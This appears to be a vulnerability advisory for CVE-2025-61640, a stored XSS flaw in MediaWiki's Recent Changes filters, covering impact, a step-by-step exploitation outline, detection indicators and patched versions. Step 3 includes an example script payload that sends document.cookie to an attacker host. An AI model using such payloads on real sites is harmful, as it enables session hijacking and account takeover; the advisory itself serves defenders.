CVE-2025-61640: 
NixOS vulnerability analysis and mitigation

CVE-2025-61640 is a stored Cross-Site Scripting (XSS) vulnerability in Wikimedia Foundation MediaWiki, specifically within the RC (Recent Changes) filters component at resources/src/mediawiki.Rcfilters/ui/RclToOrFromWidget.js. It allows authenticated attackers with high privileges to inject malicious JavaScript that executes in other users' browsers. Affected versions include all MediaWiki releases before 1.39.14, before 1.43.4, and before 1.44.1. The vulnerability was published on February 3, 2026, and carries a CVSS v3.1 base score of 4.8 (Medium) (Red Hat Advisory, Red Hat Bugzilla).

The vulnerability is classified as CWE-79 (Improper Neutralization of Input During Web Page Generation — Cross-site Scripting), rooted in insufficient input sanitization and output encoding in the RclToOrFromWidget.js file within MediaWiki's RC filters UI module. An attacker with high-privilege access (e.g., administrator) can craft malicious input that is stored and later rendered unsanitized in other users' browsers when they interact with the Recent Changes Linked (Special:RecentChangesLinked) page. Exploitation requires user interaction (a victim must view the affected page) and operates over the network with low attack complexity (Red Hat Advisory, Red Hat Bugzilla).

Successful exploitation allows an attacker to execute arbitrary JavaScript in the context of other users' browsers, potentially leading to session hijacking, cookie theft, credential harvesting, or defacement of the MediaWiki interface. The scope is changed (cross-site), with low confidentiality and low integrity impact, and no availability impact. While the individual impact per metric is limited, the ability to steal session tokens could enable account takeover of any user who views the affected page, including other administrators (Red Hat Advisory).

There is no public proof-of-concept exploit code and no evidence of in-the-wild exploitation as of the time of reporting. The EPSS score is approximately 0.054%, indicating a low probability of exploitation in the near term. The vulnerability is not listed in the CISA Known Exploited Vulnerabilities (KEV) catalog. Exploitation requires an authenticated account with high privileges, which significantly limits the attacker pool (Red Hat Advisory).

1. Gain high-privilege access: Obtain or compromise an administrator or similarly privileged MediaWiki account.
2. Identify the vulnerable component: Navigate to the Special:RecentChangesLinked (RCL) page and interact with the RC filter configuration UI, specifically the RclToOrFromWidget input field.
3. Inject malicious payload: Enter a crafted XSS payload (e.g., <script>document.location='https://attacker.com/steal?c='+document.cookie</script> or an event-handler-based variant) into the vulnerable input field that is stored server-side without proper sanitization.
4. Trigger victim execution: Wait for or socially engineer a target user (e.g., another editor or administrator) to visit the affected Special:RecentChangesLinked page, causing the injected script to execute in their browser context.
5. Harvest results: Collect stolen session cookies, credentials, or other sensitive data from the attacker-controlled server to achieve account takeover or further lateral movement within the wiki (Red Hat Advisory).

• Logs: MediaWiki access logs showing unusual POST or GET requests to Special:RecentChangesLinked or RC filter API endpoints containing encoded script tags or JavaScript event handlers (e.g., %3Cscript%3E, onerror=, onload=).
• Network: Outbound connections from users' browsers to unexpected external domains shortly after visiting RC filter pages; HTTP requests to attacker-controlled domains carrying cookie or session data in query parameters.
• File System: No direct file system artifacts expected for a stored XSS; however, review MediaWiki database entries in the rcfilters or related tables for unexpected HTML/JavaScript content in filter configurations.
• Process/Application: Unexpected JavaScript errors or console warnings in browser developer tools when visiting Special:RecentChangesLinked pages; anomalous session activity (e.g., logins from new IPs) following visits to affected pages.

Wikimedia Foundation has released patched versions addressing this vulnerability: MediaWiki 1.39.14, 1.43.4, and 1.44.1 (or later). Administrators should upgrade to one of these versions as the primary remediation. As interim mitigations where immediate patching is not feasible, restrict high-privilege account access to trusted administrators only, enforce the principle of least privilege, and monitor audit logs for unusual RC filter activity. Implementing a strict Content Security Policy (CSP) header can also reduce the impact of XSS exploitation (Red Hat Advisory, Red Hat Bugzilla).

A blog post by MediaWiki developer Bawolff titled "How did XSSProtector do?" (published October 2025) discusses the broader context of XSS protections in MediaWiki, which is relevant background to this class of vulnerability (Bawolff Blog). Debian issued a Long Term Support (LTS) security advisory (DLA-4355-1) and a standard security advisory (DSA-6085-1) covering this CVE among other MediaWiki fixes, and Mageia published MGASA-2025-0260 addressing the same. No significant social media controversy or major media coverage has been identified for this vulnerability.